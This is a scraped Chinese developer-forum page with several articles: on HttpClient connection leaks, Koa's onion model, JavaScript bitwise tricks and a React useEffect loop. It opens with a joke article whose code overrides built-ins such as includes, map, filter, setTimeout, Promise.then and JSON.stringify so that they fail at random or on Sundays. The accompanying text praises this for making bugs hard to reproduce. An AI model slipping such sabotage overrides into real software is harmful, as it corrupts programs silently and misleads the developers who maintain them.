Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};

includes是一个非常常用的方法，判断数组中是否包括某一项。而且兼容性还不错，除了IE基本都支持。


作者具体方案是先保存引用给_includes。重写includes方法时，有时候调用_includes，有时候不调用_includes。


注意，这里_includes是一个闭包变量。所以它会常驻内存（在堆中），但是开发者没有办法去直接引用。


map方法


当周日时，Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

如何判断周日？new Date().getDay() === 0即可。


这里作者还做了兼容性处理，兼容了数组长度为0的情况，通过Math.max(result.length - 1, 0)，边界情况也处理的很好。


filter方法


Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

跟includes一样，不多介绍了。

setTimeout方法

setTimeout总是会比预期时间慢1秒才触发

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好，太容易发现了，不建议用

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 && Math.random() < 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}

牛逼，周日的时候才出现的Bug，但是周日正好不上班。如果有用户周日反馈了Bug，开发者周一上班后还无法复现，会以为是用户环境问题。

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法，非常常用，但是很多开发者会误用，以为'1234321'.replace('2', 't')就会把所有的'2'替换为't'，其实这只会替换第一个出现的'2'。正确方案就是像作者一样，第一个参数使用正则，并在后面加个g表示全局替换。


Date.getTime


Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}



链接：https://juejin.cn/post/7133134875426553886
收起阅读 »
马师傅 发表于 : 2022-08-19 18:58 评论 (0) 分享

HttpClient 在vivo内销浏览器的高并发实践优化

web
HttpClient作为Java程序员最常用的Http工具，其对Http连接的管理能简化开发，并且提升连接重用效率；在正常情况下，HttpClient能帮助我们高效管理连接，但在一些并发高，报文体较大的情况下，如果再遇到网络波动，如何保证连接被高效利用，有哪些...
继续阅读 »

HttpClient作为Java程序员最常用的Http工具，其对Http连接的管理能简化开发，并且提升连接重用效率；在正常情况下，HttpClient能帮助我们高效管理连接，但在一些并发高，报文体较大的情况下，如果再遇到网络波动，如何保证连接被高效利用，有哪些优化空间。

一、问题现象

北京时间X月X日，浏览器信息流服务监控出现异常，主要表现在以下三个方面：

  1. 从某个时间点开始，云监控显示部分Http接口的熔断器被打开，而且从明细列表可以发现问题机器：

图片

2. 从PAAS平台Hystrix熔断管理界面中可以进一步确认问题机器的所有Http接口调用均出现了熔断：

3. 日志中心有大量从Http连接池获取连接的异常:org.apache.http.impl.execchain.RequestAbortedException: Request aborted。

二、问题定位

综合以上三个现象，大概可以推测出问题机器的TCP连接管理出了问题，可能是虚拟机问题，也可能是物理机问题；与运维与系统侧沟通后，发现虚拟机与物理机均无明显异常，第一时间联系运维重启了问题机器，线上问题得到解决。

2.1 临时解决方案

几天以后，线上部分其他机器也陆续出现了上述现象，此时基本可以确认是服务本身有问题；既然问题与TCP连接相关，于是联系运维在问题机器上建立了一个作业查看TCP连接的状态分布：

netstat -ant|awk '/^tcp/ {++S[$NF]} END {for(a in S) print (a,S[a])}'

复制代码

结果如下：

如上图，问题机器的CLOSE_WAIT状态的连接数已经接近200左右（该服务Http连接池最大连接数设置的250），那问题直接原因基本可以确认是CLOSE_WAIT状态的连接过多导致的；本着第一时间先解决线上问题的原则，先把连接池调整到500，然后让运维重启了机器，线上问题暂时得到解决。

2.2 原因分析

调整连接池大小只是暂时解决了线上问题，但是具体原因还不确定，按照以往经验，出现连接无法正常释放基本都是开发者使用不当，在使用完成后没有及时关闭连接；但很快这个想法就被否定了，原因显而易见：当前的服务已经在线上运行了一周左右，中间没有经历过发版，以浏览器的业务量，如果是连接使用完没有及时关。

闭，250的连接数连一分钟都撑不到就会被打爆。那么问题就只能是一些异常场景导致的连接没有释放；于是，重点排查了下近期上线的业务接口，尤其是那种数据包体较大，响应时间较长的接口，最终把目标锁定在了某个详情页优化接口上；先查看处于CLOSE_WAIT状态的IP与端口连接对，确认对方服务器IP地址。

netstat-tulnap|grep CLOSE_WAIT

复制代码

图片

经过与合作方确认，目标IP均来自该合作方，与我们的推测是相符的。

2.3 TCP抓包

在定位问题的同时，也让运维同事帮忙抓取了TCP的数据包，结果表明确实是客户端（浏览器服务端）没返回ACK结束握手，导致挥手失败，客户端处于了CLOSE_WAIT状态，数据包的大小也与怀疑的问题接口相符。

图片

为了方便大家理解，我从网上找了一张图，大家可以作为参考：

图片

CLOSE_WAIT是一种被动关闭状态，如果是SERVER主动断开的连接，那么就会在CLIENT出现CLOSE_WAIT的状态，反之同理；

通常情况下，如果客户端在一次http请求完成后没有及时关闭流（tcp中的流套接字），那么超时后服务端就会主动发送关闭连接的FIN，客户端没有主动关闭，所以就停留在了CLOSE_WAIT状态，如果是这种情况，很快连接池中的连接就会被耗尽。

所以，我们今天遇到的情况（处于CLOSE_WAIT状态的连接数每天都在缓慢增长），更像是某一种异常场景导致的连接没有关闭。

2.4 独立连接池

为了不影响其他业务场景，防止出现系统性风险，我们先把问题接口连接池进行了独立管理。

2.5 深入分析

带着2.3的疑问我们仔细查看一下业务调用代码：

try {

        httpResponse = HttpsClientUtil.getHttpClient().execute(request);

        HttpEntity httpEntity = httpResponse.getEntity();

        is = httpEntity.getContent();

     }catch (Exception e){

        log.error("");

     }finally {

        IOUtils.closeQuietly(is);

        IOUtils.closeQuietly(httpResponse);

     }

复制代码

这段代码存在一个明显的问题：既关闭了数据传输流（ IOUtils.closeQuietly(is)），也关闭了整个连接（IOUtils.closeQuietly(httpResponse)），这样我们就没办法进行连接的复用了；但是却更让人疑惑了：既然每次都手动关闭了连接，为什么还会有大量CLOSE_WAIT状态的连接存在呢？

如果问题不在业务调用代码上，那么只能是这个业务接口具有的某种特殊性导致了问题的发生；通过抓包分析发现该接口有一个明显特征：接口返回报文较大，平均在500KB左右。那么问题就极有可能是报文过大导致了某种异常，造成了连接不能被复用也不能被释放。

2.6 源码分析

开始分析之前，我们需要了解一个基础知识：Http的长连接和短连接。所谓长连接就是建立起连接之后，可以复用连接多次进行数据传输；而短连接则是每次都需要重新建立连接再进行数据传输。

而通过对接口的抓包我们发现，响应头里有Connection:keep-live字样，那我们就可以重点从HttpClient对长连接的管理入手来进行代码分析。

2.6.1 连接池初始化

初始化方法：

图片

进入PoolingHttpClientConnectionManager这个类，有一个重载构造方法里包含连接存活时间参数：

图片

顺着继续向下查看

图片

manager的构造方法到此结束，我们不难发现validityDeadline会被赋值给expiry变量，那我们接下来就要看下HttpClient是在哪里使用expiry这个参数的；

通常情况下，实例对象被构建出来的时候会初始化一些策略参数，此时我们需要查看构建HttpClient实例的方法来寻找答案：

图片

此方法包含一系列的初始化操作，包括构建连接池，给连接池设置最大连接数，指定重用策略和长连接策略等，这里我们还注意到，HttpClient创建了一个异步线程，去监听清理空闲连接。

当然，前提是你打开了自动清理空闲连接的配置，默认是关闭的。

图片

图片

接着我们就看到了HttpClient关闭空闲连接的具体实现，里面有我们想要看到的内容：

图片

图片

此时，我们可以得出第一个结论：可以在初始化连接池的时候，通过实现带参的PoolingHttpClientConnectionManager构造方法，修改validityDeadline的值，从而影响HttpClient对长连接的管理策略。

2.6.2 执行方法入口

先找到执行入口方法：org.apache.http.impl.execchain.MainClientExec.execute,看到了keepalive相关代码实现：

图片

我们来看下默认的策略：

图片

图片

由于中间的调用逻辑比较简单，就不在这里一一把调用的链路贴出来了，这边直接给结论：HttpClient对没有指定连接有效时间的长连接，有效期设置为永久（Long.MAX_VALUE）。

综合以上分析,我们可以得出最终结论：

HttpClient通过控制newExpiry和validityDeadline来实现对长连接的有效期的管理，而且对没有指定连接有效时间的长连接，有效期设置为永久。

至此我们可以大胆给出一个猜测：长连接的有效期是永久，而因为某种异常导致长连接没有被及时关闭，而永久存活了下来，不能被复用也不能被释放。（只是根据现象的猜测，虽然最后被证实并不完全正确，但确实提高了我们解决问题的效率）。

基于此，我们也可以通过改变这两个参数来实现对长连接的管理：

图片

这样简单修改上线后，处于close_wait状态的连接数没有再持续增长，这个线上问题也算是得到了彻底的解决。

但此时相信大家也都存在一个疑问：作为被广泛使用的开源框架，HttpClient难道对长连接的管理这么粗糙吗？一个简单的异常调用就能导致整个调度机制彻底崩溃，而且不会自行恢复；

于是带着疑问，再一次详细查看了HttpClient的源码。

三、关于HttpClient

3.1 前言

开始分析之前，先简单介绍下几个核心类：

  • 【PoolingHttpClientConnectionManager】：连接池管理器类，主要作用是管理连接和连接池，封装连接的创建、状态流转以及连接池的相关操作，是操作连接和连接池的入口方法；

  • 【CPool】：连接池的具体实现类，连接和连接池的具体实现均在CPool以及抽象类AbstractConnPool中实现，也是分析的重点；

  • 【CPoolEntry】：具体的连接封装类，包含连接的一些基础属性和基础操作，比如连接id，创建时间，有效期等；

  • 【HttpClientBuilder】：HttpClient的构造器，重点关注build方法；

  • 【MainClientExec】：客户端请求的执行类，是执行的入口，重点关注execute方法；

  • 【ConnectionHolder】：主要封装释放连接的方法，是在PoolingHttpClientConnectionManager的基础上进行了封装。

3.2 两个连接

  • 最大连接数（maxTotal）

  • 最大单路由连接数(maxPerRoute)

  • 最大连接数，顾名思义，就是连接池允许创建的最大连接数量；

  • 最大单路由连接数可以理解为同一个域名允许的最大连接数，且所有maxPerRoute的总和不能超过maxTotal。

    以浏览器为例，浏览器对接了头条和一点，为了做到业务隔离，不相互影响，可以把maxTotal设置成500，而defaultMaxPerRoute设置成400，主要是因为头条的业务接口量远大于一点，defaultMaxPerRoute需要满足调用量较大的一方。

3.3 三个超时

  • connectionRequestTimout

  • connetionTimeout

  • socketTimeout

  • **【connectionRequestTimout】：**指从连接池获取连接的超时时间；

  • 【connetionTimeout】：指客户端和服务器建立连接的超时时间，超时后会报ConnectionTimeOutException异常；

  • 【socketTimeout】：指客户端和服务器建立连接后，数据传输过程中数据包之间间隔的最大时间，超出后会抛出SocketTimeOutException。

一定要注意：这里的超时不是数据传输完成，而只是接收到两个数据包的间隔时间，这也是很多线上诡异问题发生的根本原因。

3.4 四个容器

  • free

  • leased

  • pending

  • available

  • **【free】：**空闲连接的容器，连接还没有建立，理论上freeSize=maxTotal -leasedSize

  • - availableSize（其实HttpClient中并没有该容器，只是为了描述方便，特意引入的一个容器）。

  • 【leased】：租赁连接的容器，连接创建后，会从free容器转移到leased容器；也可以直接从available容器租赁连接，租赁成功后连接被放在leased容器中，此种场景主要是连接的复用，也是连接池的一个很重要的能力。

  • 【pending】：等待连接的容器，其实该容器只是在等待连接释放的时候用作阻塞线程，下文也不会再提到，感兴趣的可以参考具体实现代码，其与connectionRequestTimout相关。

  • 【available】：可复用连接的容器，通常直接从leased容器转移过来，长连接的情况下完成通信后，会把连接放到available列表，一些对连接的管理和释放通常都是围绕该容器进行的。

注：由于存在maxTotal和maxPerRoute两个连接数限制，下文在提到这四种容器时，如果没有带前缀，都代表是总连接数，如果是r.xxxx则代表是路由连接里的某个容器大小。

maxTotal的组成

3.5 连接的产生与管理

  1. 循环从available容器中获取连接，如果该连接未失效（根据上文提到的expiry字段判断），则把该连接从available容器中删除，并添加到leased容器，并返回该连接；

  2. 如果在第一步中没有获取到可用连接，则判断r.available + r.leased是否大于maxPerRoute，其实就是判断是否还有free连接；如果不存在，则需要把多余分配的连接释放掉（r. available + r.leased - maxPerRoute），来保证真实的连接数受maxPerRoute控制（至于为什么会出现r.leased+r.available>maxPerRoute的情况其实也很好理解，虽然在整个状态流转过程都加了锁，但是状态的流转并不是原子操作，存在一些异常的场景都会导致状态短时间不正确）；所以我们可以得出结论，maxPerRoute只是一个理论上的最大数值，其实真实产生的连接数在短时间内是可能大于这个值的；

  3. 在真实的连接数（r .leased+ r .available）小于maxPerRoute且maxTotal>leased的情况下：如果free>0，则重新创建一个连接；如果free=0，则把available容器里的最早创建的一个连接关闭掉，然后再重新创建一个连接；看起来有点绕，其实就是优先使用free容器里的连接，获取不到再释放available容器里的连接；

  4. 如果经过上述过程仍然没有获取到可用连接，那就只能等待一个connectionRequestTimout时间，或者有其他线程的信号通知来结束整个获取连接的过程。

图片

3.6 连接的释放

  1. 如果是长连接（reusable），则把该连接从leased容器中删除，然后添加到available容器的头部，设置有效期为expiry；

  2. 如果是短连接（non-reusable），则直接关闭该连接，并且从released容器中删除，此时的连接被释放，处于free容器中；

  3. 最后，唤醒“连接的产生与管理“第四部中的等待线程。

整个过程分析完，了解了httpclient如何管理连接，再回头来看我们遇到的那个问题就比较清晰了：

正常情况下，虽然建立了长连接，但是我们会在finally代码块里去手动关闭，此场景其实是触发了“连接的释放”中的步骤2，连接直接被关闭；所以正常情况下是没有问题的，长连接其实并没有发挥真正的作用；

那问题自然就只能出现在一些异常场景，导致了长连接没有被及时关闭，结合最初的分析，是服务端主动断开了连接，那大概率出现在一些超时导致连接断开的异常场景，我们再回到org.apache.http.impl.execchain.MainClientExec这个类，发现这样几行代码：

图片

**connHolder.releaseConnection()**对应“连接的释放”中提到的步骤1，此时连接只是被放入了available容器，并且有效期是永久；

**return new HttpResponseProxy(response, null)**返回的ConnectionHolder是null，结合IOUtils.closeQuietly(httpResponse)的具体实现，连接并没有及时关闭，而是永久的放在了available容器里，并且状态为CLOSE_WAIT，无法被复用；

图片

根据 “连接的产生与管理”的步骤3的描述，在free容器为空的时候httpclient是能够主动释放available里的连接的，即使连接永久的放在了available容器里，理论上也不会造成连接永远无法释放；

然而再结合“连接的产生与管理”的步骤4，当free容器为空了以后，从连接池获取连接时需要等待available容器里的连接被释放掉，整个过程是单线程的，效率极低，势必会造成拥堵，最终导致大量等待获取连接超时报错，这也与我们线上看到的场景相吻合。

四、总结

  1. 连接池的主要功能有两个：连接的管理和连接的复用，在使用连接池的时候一定要注意只需关闭当前数据流，而不要每次都关闭连接，除非你的目标访问地址是完全随机的；

  2. maxTotal和maxPerRoute的设置一定要谨慎，合理的分配参数可以做到业务隔离，但如果无法准确做出评估，可以暂时设置成一样，或者用两个独立的httpclient实例；

  3. 一定记得要设置长连接的有效期，用

    PoolingHttpClientConnectionManager(60, TimeUnit.SECONDS)构造函数，尤其是调用量较大的情况，防止发生不可预知的问题；

  4. 可以通过设置evictIdleConnections(5, TimeUnit.SECONDS)定时清理空闲连接，尤其是http接口响应时间短，并发量大的情况下，及时清理空闲连接，避免从连接池获取连接的时候发现连接过期再去关闭连接，能在一定程度上提高接口性能。

五、写在最后

HttpClient作为当前使用最广泛的基于Java语言的Http调用框架，在笔者看来其存在两点明显不足：

  1. 没有提供监控连接状态的入口，也没有提供能外部介入动态影响连接生命周期的扩展点，一旦线上出现问题可能就是致命的；

  2. 此外，其获取连接的方式是采用同步锁的方式，在并发较高的情况下存在一定的性能瓶颈，而且其对长连接的管理方式存在问题，稍不注意就会导致建立大量异常长连接而无法及时释放，造成系统性灾难。


作者：Zhi Guangquan-vivo互联网技术
来源：juejin.cn/post/7131908954522648606
收起阅读 »
上帝之眼 发表于 : 2022-08-19 09:14 评论 (0) 分享

【Node】深入浅出 Koa 的洋葱模型

IT大前端
本文将讲解 koa 的洋葱模型，我们为什么要使用洋葱模型，以及它的原理实现。掌握洋葱模型对于理解 koa 至关重要，希望本文对你有所帮助~什么是洋葱模型先来看一个 democonst Koa = require...
继续阅读 »

本文将讲解 koa 的洋葱模型，我们为什么要使用洋葱模型，以及它的原理实现。掌握洋葱模型对于理解 koa 至关重要，希望本文对你有所帮助~

什么是洋葱模型

先来看一个 demo

const Koa = require('koa');
const app = new Koa();

// 中间件1
app.use((ctx, next) => {
    console.log(1);
    next();
    console.log(2);
});

// 中间件 2 
app.use((ctx, next) => {
    console.log(3);
    next();
    console.log(4);
});

app.listen(8000, '0.0.0.0', () => {
    console.log(`Server is starting`);
});

输出的结果是：

1
3
4
2

在 koa 中，中间件被 next() 方法分成了两部分。next() 方法上面部分会先执行，下面部门会在后续中间件执行全部结束之后再执行。可以通过下图直观看出：



在洋葱模型中，每一层相当于一个中间件，用来处理特定的功能，比如错误处理、Session 处理等等。其处理顺序先是 next() 前请求（Request，从外层到内层）然后执行 next() 函数，最后是 next() 后响应（Response，从内层到外层），也就是说每一个中间件都有两次处理时机。



为什么 Koa 使用洋葱模型


假如不是洋葱模型，我们中间件依赖于其他中间件的逻辑的话，我们要怎么处理？


比如，我们需要知道一个请求或者操作 db 的耗时是多少，而且想获取其他中间件的信息。在 koa 中，我们可以使用 async await 的方式结合洋葱模型做到。

app.use(async(ctx, next) => {
  const start = new Date();
  await next();
  const delta = new Date() - start;
  console.log (`请求耗时: ${delta} MS`);
  console.log('拿到上一次请求的结果：', ctx.state.baiduHTML);
})

app.use(async(ctx, next) => {
  // 处理 db 或者进行 HTTP 请求
  ctx.state.baiduHTML = await axios.get('http://baidu.com');
})


而假如没有洋葱模型，这是做不到的。

深入 Koa 洋葱模型

我们以文章开始时候的 demo 来分析一下 koa 内部的实现。

const Koa = require('koa');

//Applications
const app = new Koa();

// 中间件1
app.use((ctx, next) => {
  console.log(1);
  next();
  console.log(2);
});

// 中间件 2 
app.use((ctx, next) => {
  console.log(3);
  next();
  console.log(4);
});

app.listen(9000, '0.0.0.0', () => {
    console.log(`Server is starting`);
});

use 方法

use 方法就是做了一件事，维护得到 middleware 中间件数组

use(fn) {
    // ...
    // 维护中间件数组——middleware
    this.middleware.push(fn);
    return this;
  }

listen 方法 和 callback 方法


执行 app.listen 方法的时候，其实是 Node.js 原生 http 模块 createServer 方法创建了一个服务，其回调为 callback 方法。callback 方法中就有我们今天的重点 compose 函数，它的返回是一个 Promise 函数。

listen(...args) {
    debug('listen');
    // node http 创建一个服务
    const server = http.createServer(this.callback());
    return server.listen(...args);
  }

  callback() {
    // 返回值是一个函数
    const fn = compose(this.middleware);
    const handleRequest = (req, res) => {
      // 创建 ctx 上下文环境
      const ctx = this.createContext(req, res);
      return this.handleRequest(ctx, fn);
    };
    return handleRequest;
  }

handleRequest 中会执行 compose 函数中返回的 Promise 函数并返回结果。

handleRequest(ctx, fnMiddleware) {
    const res = ctx.res;
    res.statusCode = 404;
    const onerror = err => ctx.onerror(err);
    const handleResponse = () => respond(ctx);
    onFinished(res, onerror);
    // 执行 compose 中返回的函数，将结果返回
    return fnMiddleware(ctx).then(handleResponse).catch(onerror);
  }

koa-compose

compose 函数引用的是 koa-compose 这个库。其实现如下所示：

function compose (middleware) {
  // ...
  return function (context, next) {
    // last called middleware #
    let index = -1
    // 一开始的时候传入为 0，后续会递增
    return dispatch(0)
    function dispatch (i) {
      // 假如没有递增，则说明执行了多次
      if (i <= index) return Promise.reject(new Error('next() called multiple times'))
      index = i
      // 拿到当前的中间件
      let fn = middleware[i]
      if (i === middleware.length) fn = next
      // 当 fn 为空的时候，就会开始执行 next() 后面部分的代码
      if (!fn) return Promise.resolve()
      try {
        // 执行中间件，留意这两个参数，都是中间件的传参，第一个是上下文，第二个是 next 函数
        // 也就是说执行 next 的时候也就是调用 dispatch 函数的时候
        return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));
      } catch (err) {
        return Promise.reject(err)
      }
    }
  }
}

代码很简单，我们来看看具体的执行流程是怎样的：


当我们执行第一次的时候，调用的是 dispatch(0)，这个时候 i 为 0，fn 为第一个中间件函数。并执行中间件，留意这两个参数，都是中间件的传参，第一个是上下文，第二个是 next 函数。也就是说中间件执行 next 的时候也就是调用 dispatch 函数的时候，这就是为什么执行 next 逻辑的时候就会执行下一个中间件的原因：

return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));

当第二、第三次执行 dispatch 的时候，跟第一次一样，分别开始执行第二、第三个中间件，执行 next() 的时候开始执行下一个中间件。


当执行到第三个中间件的时候，执行到 next() 的时候，dispatch 函数传入的参数是 3，fn 为 undefined。这个时候就会执行

if (!fn) return Promise.resolve()

这个时候就会执行第三个中间件 next() 之后的代码，然后是第二个、第一个，从而形成了洋葱模型。

其过程如下所示：

简易版 compose

模范 koa 的逻辑，我们可以写一个简易版的 compose。方便大家的理解：

const middleware = []
let mw1 = async function (ctx, next) {
    console.log("next前，第一个中间件")
    await next()
    console.log("next后，第一个中间件")
}
let mw2 = async function (ctx, next) {
    console.log("next前，第二个中间件")
    await next()
    console.log("next后，第二个中间件")
}
let mw3 = async function (ctx, next) {
    console.log("第三个中间件，没有next了")
}

function use(mw) {
  middleware.push(mw);
}

function compose(middleware) {
  return (ctx, next) => {
    return dispatch(0);
    function dispatch(i) {
      const fn = middleware[i];
      if (!fn) return;
      return fn(ctx, dispatch.bind(null, i+1));
    }
  }
}

use(mw1);
use(mw2);
use(mw3);

const fn = compose(middleware);

fn();

总结


Koa 的洋葱模型指的是以 next() 函数为分割点，先由外到内执行 Request 的逻辑，再由内到外执行 Response 的逻辑。通过洋葱模型，将多个中间件之间通信等变得更加可行和简单。其实现的原理并不是很复杂，主要是 compose 方法。


链接：https://juejin.cn/post/7012031464237694983



收起阅读 »
马师傅 发表于 : 2022-08-18 17:23 评论 (0) 分享

写这么骚的代码，不怕被揍么？

web
曾经，我接手了一份大佬的代码，里面充满了各种“骚操作”，还不加注释那种，短短几行的函数花了很久才弄懂。这世上，“只有魔法才能对抗魔法”，于是后来，翻阅各种“黑魔法”的秘籍，总结了一些比较实用的“骚操作”，让我们装X的同时，提升代码运行的效率（请配合健身房一起使...
继续阅读 »

曾经，我接手了一份大佬的代码，里面充满了各种“骚操作”，还不加注释那种，短短几行的函数花了很久才弄懂。


这世上，“只有魔法才能对抗魔法”，于是后来，翻阅各种“黑魔法”的秘籍，总结了一些比较实用的“骚操作”，让我们装X的同时，提升代码运行的效率（请配合健身房一起使用）。


位运算

JavaScript 中最臭名昭著的 Bug 就是 0.1 + 0.2 !== 0.3，因为精度的问题，导致所有的浮点运算都是不安全的。


因此，之前有大牛提出，不要在 JS 中使用位运算：

Javascript 完全套用了 Java 的位运算符，包括按位与&、按位或|、按位异或^、按位非~、左移<<、带符号的右移>>和用0补足的右移>>>。这套运算符针对的是整数，所以对 JavaScript 完全无用，因为 JavaScript 内部，所有数字都保存为双精度浮点数。如果使用它们的话，JavaScript 不得不将运算数先转为整数，然后再进行运算，这样就降低了速度。而且按位与运算符&同逻辑与运算符&&，很容易混淆。


但是在我看来，如果对 JS 的运用达到炉火纯青的地步，能避开各种“Feature”的话，偶尔用一下位运算符也无所谓，还能提升运算性能，毕竟直接操作的是计算机最熟悉的二进制。


1. 使用左移运算符 << 迅速得出2的次方



2. 使用 ^ 切换变量 0 或 1



3. 使用 & 判断奇偶性

偶数 & 1 = 0

奇数 & 1 = 1


4. 使用 !! 将数字转为布尔值

所有非0的值都是true，包括负数、浮点数：

5. 使用~、>>、<<、>>>、|来取整

相当于使用了 Math.floor()



注意 >>> 不可对负数取整



6. 使用^来完成值交换

这个符号的用法前面提到过，下面介绍一些高级的用法，在 ES6 的解构赋值出来之前，用这种方式会更快(但必须是整数)：



7. 使用^判断符号是否相同





8. 使用^来检查数字是否不相等





9. n & (n - 1)，如果为 0，说明 n 是 2 的整数幂



10. 使用 A + 0.5 | 0 来替代 Math.round()


如果是负数，只需要-0.5


String

1. 使用toString(16)取随机字符串



.substring() 的第二个参数控制取多少位 (最多可取13位)


2. 使用 split(0)

使用数字来做为 split 的分隔条件可以节省2字节



3. 使用.link() 创建链接

一个鲜为人知的方法，可以快速创建 a 标签




3. 使用 Array 来重复字符



其他一些花里胡哨的操作

1. 使用当前时间创建一个随机数


2. 一些可以替代 undefined 的操作

（1）._, 1.._ 和 0[0]


2. void 0 会比写 undefined 要快一些





3.使用 1/0 来替代 Infinity



4.使用 Array.length = 0 来清空数组



5.使用 Array.slice(0) 实现数组浅拷贝


6.使用 !+\v1 快速判断 IE8 以下的浏览器

谷歌浏览器：



7. for 循环条件的简写



结尾

虽然上述操作能在一定程度上使代码更简洁，但会降低可读性。在目前的大环境下，机器的性能损失远比不上人力的损失，因为升级机器配置的成本远低于维护晦涩代码的成本，所以请谨慎使用这些“黑魔法”。就算要使用，也请加上注释，毕竟，这世上还有很多“麻瓜”需要生存。


还有一些其他骚操作，可以参考这位大神总结的 《Byte-saving Techniques》，有些很常见，有些使用环境苛刻，这里就不一一列出了。

最后，来一个彩蛋，在控制台输入：


如果以后有人喷你的代码，你就可以将此代码发给他。


来源：juejin.im/post/5e044eb5f265da33b50748c8



收起阅读 »
Hc. 发表于 : 2022-08-18 10:21 评论 (0) 分享

记录一次React程序死循环

IT大前端 react
一、错误复现开发环境报如下错误。Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpda...
继续阅读 »

一、错误复现

开发环境报如下错误。

Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. React limits the number of nested updates to prevent infinite loops.

Call Stack
 checkForNestedUpdates
  website/./node_modules/react-dom/cjs/react-dom.development.js:4013:321
 scheduleUpdateOnFiber
  website/./node_modules/react-dom/cjs/react-dom.development.js:3606:187
 dispatchAction
  website/./node_modules/react-dom/cjs/react-dom.development.js:2689:115
 eval
  website/./src/components/FileUpload.jsx:73:7
 invokePassiveEffectCreate
  website/./node_modules/react-dom/cjs/react-dom.development.js:3960:1047
 HTMLUnknownElement.callCallback
  website/./node_modules/react-dom/cjs/react-dom.development.js:657:119
 Object.invokeGuardedCallbackDev
  website/./node_modules/react-dom/cjs/react-dom.development.js:677:45
 invokeGuardedCallback
  website/./node_modules/react-dom/cjs/react-dom.development.js:696:126
 flushPassiveEffectsImpl
  website/./node_modules/react-dom/cjs/react-dom.development.js:3968:212
 unstable_runWithPriority
  website/./node_modules/scheduler/cjs/scheduler.development.js:465:16

二、错误排查

  1. 通过注释代码的方式，发现出问题的地方，是Assets组件中引用的FileUpload出了问题。正好最近也修改过FileUpload组件。
  2. 通过sourcetree对比git记录，看FileUpload组件被修改了什么？如下图。
  3. 再对比错误提示中的描述，其中componentWillUpdate or componentDidUpdate，推测就是指新增的useEffect代码片断。
  4. 将上述useEffect代码片断注释掉，果然错误消失。

三、原因分析

useEffect的特性表明，只要initFiles发生了改变，46-48行代码就会执行。
既然上述useEffect代码片断事实上造成了死循环，就还说明了一点：

  • setFileList(initFiles)改变了initFiles，才使得useEffect中的函数再次被调用。

那么，initFiles到底是经历了怎样的变化，才使得调用能够循环往复地发生呢？

输出fileList和initFiles：

console.log(fileList === initFiles)

可以发现，只有第一次render时输出true，后续全部是false。

  • 第一次输出true，表明useState的入参为array时，只是简单的赋值关系，fileList和initFiles指定了同一个内存地址。
  • setFileList函数实际上是做了一次浅拷贝，然后赋值给fileList，改变了fileList的内存指向，也就是改变了最新initFiles的内存指向。同时React保留了之前initFiles的值用来做依赖对比。
  • useEffect在对比引用类型的依赖，比如object/array时，采用的是简单的===操作符，也就是说比较内存地址是否一致。
  • 前后两次initFiles虽然内部数据相同，但内存指向不同，就被useEffect认为【依赖发生了改变】，从而导致了死循环。

四、解决方案1

  • 尽量不直接使用object或者array作为依赖项，而是使用值类型来代替引用类型

    useEffect(() => {
    
//...
    
}, [initFiles.length])

五、解决方案2

是不是在调用useState时，拷贝initFiles就可以了呢？

const [fileList, setFileList] = useState([...initFiles])

useEffect(() => {
  if (fileList.length === 0) {
    setFileList([...initFiles])
  }
}, [initFiles])

这样依然会报同样的死循环错误，这又是为什么呢？

initFiles是从父组件传入的，会不会是FileUpload组件重新render的时候，initFiles已经被重新赋值了呢？接下来的两个demo，证明了这个推测。

  • Demo1 - 慎重打开。打开后会卡死浏览器标签: initFiles初始化时，使用[]作为默认值，结果出现死循环。
  • Demo1 - 放心打开。打开后不执行JS，不会卡死浏览器，可放心查看代码。
  • Demo2：initFiles初始化时，不使用默认值，且父组件不更新，结果不出现死循五。

Demo1中，initFiles作为一个prop，每次render时，都会被赋值为一个新的空数组，改变了其内存指向。导致useEffect不断执行。

const FileUpload = ({initFiles=[]}) => {}

Demo2中，initFiles的值完全由父组件传入，父组件的变量不变化时，initFiles没有改变。

const FileUpload = ({initFiles=[]}) => {}
const App = () => {
  return <FileUpload initFiles={[]} />
}

也就是说，只要保障initFiles不被循环赋值，就能够避免死循环。

六、结论

不建议将引用类型如array/object作为useEffect的依赖项，因欺触发bug的可能性很大，而且排查错误比较困难。

建议使用一到多个值类型作为useEffect依赖项。

原文链接：https://segmentfault.com/a/1190000042302716


收起阅读 »
马师傅 发表于 : 2022-08-15 18:42 评论 (0) 分享

从 React 原理来看 ahooks 是怎么解决 React 的闭包问题的？

Javascript IT大前端 react
本文是深入浅出 ahooks 源码系列文章的第三篇，该系列已整理成文档-地址。觉得还不错，给个 star 支持一下哈，Thanks。本文来探索一下 ahooks 是怎么解决 React 的闭包问题的？。React 的闭包问题先来看一个例子：...
继续阅读 »

本文是深入浅出 ahooks 源码系列文章的第三篇，该系列已整理成文档-地址。觉得还不错，给个 star 支持一下哈，Thanks。

本文来探索一下 ahooks 是怎么解决 React 的闭包问题的？。

React 的闭包问题

先来看一个例子：

